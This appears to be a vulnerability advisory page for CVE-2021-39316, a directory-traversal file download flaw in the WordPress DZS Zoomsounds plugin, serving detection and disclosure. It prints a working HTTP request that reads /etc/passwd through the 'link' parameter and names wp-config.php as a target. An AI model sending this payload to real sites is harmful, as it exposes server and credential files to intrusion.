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CVE-2021-39316: WordPress DZS Zoomsounds <=6.50 - Local File Inclusion

TitleWordPress DZS Zoomsounds <=6.50 - Local File Inclusion
Authordaffainfo
SeverityHigh
ImpactLocal File Inclusion vulnerability in WordPress DZS Zoomsounds plugin allows an attacker to include arbitrary files from the server, potentially leading to remote code execution or sensitive information disclosure.
RemediationUpdate to the latest version of WordPress DZS Zoomsounds plugin (>=6.51) to fix the Local File Inclusion vulnerability.
CVSS Score7.5
EPSS Score0.93526
CVE IDCVE-2021-39316
CWE IDCWE-22
Tags cve2021 cve wordpress wp-plugin zoomsounds wpscan packetstorm wp lfi digitalzoomstudio vkev vuln

🔍 Vulnerability Description

WordPress Zoomsounds plugin 6.45 and earlier allows arbitrary files, including sensitive configuration files such as wp-config.php, to be downloaded via the dzsap_download action using directory traversal in the link parameter.

🌐 HTTP Request

GET /?action=dzsap_download&link=../../../../../../../../../../../../../etc/passwd HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.3
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-39316.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-39316.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A